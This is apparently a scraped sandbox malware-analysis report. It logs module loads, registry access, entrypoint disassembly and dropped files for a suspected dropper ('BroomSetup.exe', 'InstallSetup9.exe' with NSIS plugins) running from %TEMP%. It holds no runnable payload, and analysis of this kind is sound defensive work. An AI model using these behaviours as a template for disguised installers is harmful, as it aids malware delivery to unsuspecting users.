"288c47bbc1871b439df19ff4df68f076.exe" loaded module "MSIMG32.DLL" at base 73730000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "KERNEL32.DLL" at base 75100000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "MSVCR100.DLL" at base 6aa60000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "ADVAPI32.DLL" at base 75290000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "NTDLL.DLL" at base 76e60000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "WINMM.DLL" at base 6f170000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "WS2_32.DLL" at base 76ad0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "CRYPTBASE.DLL" at base 74c60000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75100000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "POWRPROF.DLL" at base 73b70000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "WTSAPI32.DLL" at base 73250000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "WINSTA.DLL" at base 74cd0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75a30000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "RPCRT4.DLL" at base 75900000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "OLE32.DLL" at base 76d00000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "CLBCATQ.DLL" at base 76c70000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "CRYPTSP.DLL" at base 74770000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74500000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "RPCRTREMOTE.DLL" at base 74d00000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 738f0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 727a0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 75290000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6ccf0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 76bb0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "SXS.DLL" at base 74c70000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "OLEAUT32.DLL" at base 76bb0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 6c690000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6e6e0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6cee0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 6a9e0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 67eb0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "NETAPI32.DLL" at base 73440000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "SAMLIB.DLL" at base 73ba0000 "BroomSetup.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6b120000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 738f0000 "BroomSetup.exe" loaded module "CRYPTBASE.DLL" at base 74c60000 "BroomSetup.exe" loaded module "DWMAPI.DLL" at base 735d0000 "BroomSetup.exe" loaded module "WTSAPI32.DLL" at base 73250000 "BroomSetup.exe" loaded module "USER32.DLL" at base 75680000 "BroomSetup.exe" loaded module "WINSTA.DLL" at base 74cd0000 "BroomSetup.exe" loaded module "ADVAPI32.DLL" at base 75290000 "BroomSetup.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75a30000 "BroomSetup.exe" loaded module "RPCRT4.DLL" at base 75900000 "BroomSetup.exe" loaded module "UXTHEME.DLL" at base 738f0000 "BroomSetup.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75100000 "BroomSetup.exe" loaded module "COMCTL32.DLL" at base 73c60000 "BroomSetup.exe" loaded module "COLORUI.DLL" at base 6a9c0000 "BroomSetup.exe" loaded module "SHELL32.DLL" at base 75e80000 "BroomSetup.exe" loaded module "COMDLG32.DLL" at base 759b0000 "BroomSetup.exe" loaded module "COMPSTUI.DLL" at base 6aa10000 "BroomSetup.exe" loaded module "INETRES.DLL" at base 727c0000 "BroomSetup.exe" loaded module "GDIPLUS.DLL" at base 73750000 "BroomSetup.exe" loaded module "KERNEL32.DLL" at base 75100000 "BroomSetup.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.7601.23894_NONE_5C0BE957A009922E\GDIPLUS.DLL" at base 73750000 "BroomSetup.exe" loaded module "MSIMG32.DLL" at base 73730000 "BroomSetup.exe" loaded module "OLE32.DLL" at base 76d00000 "BroomSetup.exe" loaded module "OLEAUT32.DLL" at base 76bb0000 "BroomSetup.exe" loaded module "CLBCATQ.DLL" at base 76c70000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73940000 "BroomSetup.exe" loaded module "SETUPAPI.DLL" at base 75750000 "BroomSetup.exe" loaded module "NTMARTA.DLL" at base 741d0000 "BroomSetup.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75a30000 "BroomSetup.exe" loaded module "PROFAPI.DLL" at base 74d70000 "BroomSetup.exe" loaded module "WINDOWSCODECS.DLL" at base 73110000 "BroomSetup.exe" loaded module "APPHELP.DLL" at base 74c10000 "BroomSetup.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 74e40000 "BroomSetup.exe" loaded module "%LOCALAPPDATA%\MICROSOFT\ONEDRIVE\17.3.4604.0120\FILESYNCSHELL.DLL" at base 712e0000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\EHSTORSHELL.DLL" at base 713b0000 "BroomSetup.exe" loaded module "%PROGRAMFILES%\MICROS~3\OFFICE14\GROOVEEX.DLL" at base 70720000 "BroomSetup.exe" loaded module "%PROGRAMFILES%\COMMON~1\MICROS~1\OFFICE14\CULTURES\OFFICE.ODF" at base 70300000 "BroomSetup.exe" loaded module "%PROGRAMFILES%\MICROS~3\OFFICE14\1033\GROOVEINTLRESOURCE.DLL" at base 6fa90000 "BroomSetup.exe" loaded module "UXTHEME" at base 738f0000 "BroomSetup.exe" loaded module "USER32" at base 75680000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base 6fa60000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 75e80000 "BroomSetup.exe" loaded module "PROPSYS.DLL" at base 73940000 "BroomSetup.exe" loaded module "GDI32.DLL" at base 76b60000 "BroomSetup.exe" loaded module "IMM32.DLL" at base 76c50000 "BroomSetup.exe" loaded module "COMCTL32" at base 73c60000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 76d00000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 76fd0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6b120000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "MSVCR100.DLL" at base 64df0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 6aae0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 6aaa000046:Tec7,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\SHELLFOLDER") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "InstallSetup9.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}") "InstallSetup9.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}") "InstallSetup9.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\LOCALSERVER32") "InstallSetup9.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\TREATAS") "288c47bbc1871b439df19ff4df68f076.exe" touched "WBEM Scripting Locator" (Path: "HKCU\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}") "288c47bbc1871b439df19ff4df68f076.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "288c47bbc1871b439df19ff4df68f076.exe" touched "PSDispatch" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00020420-0000-0000-C000-000000000046}") "288c47bbc1871b439df19ff4df68f076.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "288c47bbc1871b439df19ff4df68f076.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "288c47bbc1871b439df19ff4df68f076.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "288c47bbc1871b439df19ff4df68f076.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "288c47bbc1871b439df19ff4df68f076.exe" touched "PSEnumVariant" (Path: "HKCU\CLSID\{00020421-0000-0000-C000-000000000046}\TREATAS") "BroomSetup.exe" touched "Enhanced Storage Icon Overlay Handler Class" (Path: "HKCU\CLSID\{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}\INPROCSERVER32") "BroomSetup.exe" touched "Groove Explorer Icon Overlay 1 (GFS Unread Stub)" (Path: "HKCU\CLSID\{99FD978C-D287-4F50-827F-B2C658EDA8E7}\INPROCSERVER32") "BroomSetup.exe" touched "Groove Explorer Icon Overlay 2 (GFS Stub)" (Path: "HKCU\CLSID\{AB5C5600-7E6E-4B06-9197-9ECEF74D31CC}\INPROCSERVER32") "BroomSetup.exe" touched "Groove Explorer Icon Overlay 2.5 (GFS Unread Folder)" (Path: "HKCU\CLSID\{920E6DB1-9907-4370-B3A0-BAFC03D81399}\INPROCSERVER32") "BroomSetup.exe" touched "Groove Explorer Icon Overlay 3 (GFS Folder)" (Path: "HKCU\CLSID\{16F3DD56-1AF5-4347-846D-7C10C4192619}\INPROCSERVER32") "BroomSetup.exe" touched "Groove Explorer Icon Overlay 4 (GFS Unread Mark)" (Path: "HKCU\CLSID\{2916C86E-86A6-43FE-8112-43ABE6BF8DCC}\INPROCSERVER32")47:T10bd,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "BroomSetup.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0x10,push ebx,mov eax, 0x7e608c,call 0x411608,mov ebx, dword ptr [0x801a80],mov eax, dword ptr [ebx],call 0x652328,mov cl, 1,mov edx, 0x7f31e8,mov eax, dword ptr [0x5db028],call 0x5f6190,mov ecx, dword ptr [0x80185c],mov eax, dword ptr [ebx],mov edx, dword ptr [0x783118],call 0x652340,mov ecx, dword ptr [0x801ce0],mov eax, dword ptr [ebx],mov edx, dword ptr [0x780dfc],call 0x652340,mov ecx, dword ptr [0x801590],mov eax, dword ptr [ebx],mov edx, dword ptr [0x781524]," "288c47bbc1871b439df19ff4df68f076.exe" file has an entrypoint instructions - "call 0x405555,jmp 0x402147,int3 ,int3 ,mov ecx, dword ptr [esp + 4],test ecx, 3,je 0x402300,mov al, byte ptr [ecx],add ecx, 1,test al, al,je 0x402333,test ecx, 3,jne 0x4022dc,add eax, 0,lea esp, [esp],lea esp, [esp],mov eax, dword ptr [ecx],mov edx, 0x7efefeff,add edx, eax,xor eax, 0xffffffff,xor eax, edx,add ecx, 4,test eax, 0x81010100,je 0x402300,mov eax, dword ptr [ecx - 4],test al, al,je 0x402351,test ah, ah,je 0x402347,test eax, 0xff0000," "InstallSetup9.exe" file has an entrypoint instructions - "sub esp, 0x3f8,push ebp,push esi,push edi,push 0x20,pop edi,xor ebp, ebp,push 0x8001,mov dword ptr [esp + 0x20], ebp,mov dword ptr [esp + 0x18], 0x40a2d8,mov dword ptr [esp + 0x14], ebp,call dword ptr [0x4080a4],mov esi, dword ptr [0x4080a8],lea eax, [esp + 0x34],push eax,mov dword ptr [esp + 0x4c], ebp,mov dword ptr [esp + 0x14c], ebp,mov dword ptr [esp + 0x150], ebp,mov dword ptr [esp + 0x38], 0x11c,call esi,test eax, eax,jne 0x4035be,lea eax, [esp + 0x34],mov dword ptr [esp + 0x34], 0x114,push eax,call esi," "Math.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,push ebx,mov ebx, dword ptr [ebp + 8],push esi,mov esi, dword ptr [ebp + 0xc],push edi,mov edi, dword ptr [ebp + 0x10],test esi, esi,jne 0x10004767,cmp dword ptr [0x10019d34], 0,jmp 0x1000478d,cmp esi, 1,je 0x10004771,cmp esi, 2,jne 0x10004793,mov eax, dword ptr [0x1001b2e0],test eax, eax,je 0x10004783,push edi,push esi,push ebx,call eax,test eax, eax,je 0x1000478f,push edi,push esi,push ebx,call 0x10004693,test eax, eax,jne 0x10004793,xor eax, eax,jmp 0x100047e1,push edi,push esi,push ebx,call 0x10002c7e,cmp esi, 1,mov dword ptr [ebp + 0xc], eax,jne 0x100047af,test eax, eax,jne 0x100047de,push edi,push eax,push ebx,call 0x10004693," "INetC.dll" file has an entrypoint instructions - "mov eax, dword ptr [esp + 4],mov dword ptr [0x10005d94], eax,xor eax, eax,inc eax,ret 0xc,mov eax, dword ptr [0x1000a758],test eax, eax,push esi,je 0x100045f9,mov esi, dword ptr [eax],test esi, esi,je 0x100045f9,cmp dword ptr [esp + 8], 0,je 0x100045ea,lea eax, [esi + 4],push eax,push dword ptr [esp + 0xc],call dword ptr [0x10001008],mov eax, dword ptr [0x1000a758],mov ecx, dword ptr [esi],push esi,mov dword ptr [eax], ecx,call dword ptr [0x10001078],xor eax, eax,jmp 0x100045fc,xor eax, eax,inc eax,pop esi,ret 4,cmp dword ptr [0x1000a758], 0,je 0x1000463e,mov eax, dword ptr [0x1000a75c],push esi,lea eax, [eax + eax + 8],push eax,"48:Ta15,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "InstallSetup9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "InstallSetup9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "InstallSetup9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "288c47bbc1871b439df19ff4df68f076.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "288c47bbc1871b439df19ff4df68f076.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "288c47bbc1871b439df19ff4df68f076.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "288c47bbc1871b439df19ff4df68f076.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "AR") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "AR") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "AR-SA") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "AR-SA") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "BG") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "BG") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "BG-BG") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "BG-BG") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "CA")49:Td6c,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00001156-00000C2B-283576393] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00001156-00000C2B-283887254] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00001156-00000C2B-284900083] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00001156-00000C2B-285035244] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00001156-00000C2B-285346651] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00001156-00000C2B-285409384] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00001156-00000C2B-285597781] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00001156-00000C2B-285855451] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00001156-00000C2B-285921671] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00001156-00000C2B-286354963] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00001156-00000C2B-286413746] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00001156-00000C2B-286475043] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00001156-00000C2B-286567694] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00001156-00000C2B-286855219] Observed system executable string:"%WINDIR%\system32\CRYPTBASE.dll" [Source: 00000000-00003572-00000C2B-290926492] Observed system executable string:"%WINDIR%\system32\OLEACC.dll" [Source: 00000000-00003572-00000C2B-291088297] Observed system executable string:"%WINDIR%\system32\CLBCATQ.dll" [Source: 00000000-00003572-00000C2B-291168933] Observed system executable string:"%WINDIR%\system32\NTMARTA.dll" [Source: 00000000-00003572-00000C2B-291251025] Observed system executable string:"%WINDIR%\system32\VERSION.dll" [Source: 00000000-00003572-00000C2B-291331055] Observed system executable string:"%WINDIR%\system32\SHFOLDER.dll" [Source: 00000000-00003572-00000C2B-291415326] Observed system executable string:"%WINDIR%\system32\bcryptprimitives.dll" [Source: 00000000-00003572-00000C2B-321994256] Observed system executable string:"%WINDIR%\system32\cryptnet.dll" [Source: 00000000-00003572-00000C2B-323182852] Observed system executable string:"%WINDIR%\system32\CRYPT32.dll" [Source: 00000000-00003572-00000C2B-325585277] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00002516-00000C2B-299736194] Observed system executable string:"%WINDIR%\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\gdiplus.dll" [Source: 00000000-00004256-00000C2B-299069042]4a:T569,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002516.00000000.82526.0B880000.00000004.mdmp, 00000000-00002516.00000001.83576.0B880000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp, 00000000-00003572.00000002.84706.0040A000.00000004.mdmp")4b:T6da,"BroomSetup.exe" has type "PE32 executable for MS Windows 5.00 (GUI) Intel i386 11 sections"- Location: [%TEMP%\BroomSetup.exe]- [targetUID: 00000000-00004256] "288c47bbc1871b439df19ff4df68f076.exe" has type "PE32 executable for MS Windows 5.00 (GUI) Intel i386 7 sections"- Location: [%TEMP%\288c47bbc1871b439df19ff4df68f076.exe]- [targetUID: 00000000-00002516] "InstallSetup9.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Nullsoft Installer self-extracting archive 5 sections"- Location: [%TEMP%\InstallSetup9.exe]- [targetUID: 00000000-00003572] "Math.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\nss9B66.tmp\Math.dll]- [targetUID: 00000000-00003572] "INetC.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\nss9B66.tmp\INetC.dll]- [targetUID: 00000000-00003572] "B46811C17859FFB409CF0E904A4AA8F8" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8]- [targetUID: 00000000-00003572] "1ED93C2F030B8091083F906156A321E7" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\1ED93C2F030B8091083F906156A321E7]- [targetUID: 00000000-00003572] "1ED93C2F030B8091083F906156A321E7" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\1ED93C2F030B8091083F906156A321E7]- [targetUID: 00000000-00003572] "B46811C17859FFB409CF0E904A4AA8F8" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8]- [targetUID: 00000000-00003572] "nss9B65.tmp" has type "ASCII text with no line terminators"- Location: [%TEMP%\nss9B65.tmp]- [targetUID: 00000000-00003572]4c:Tb2e,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") 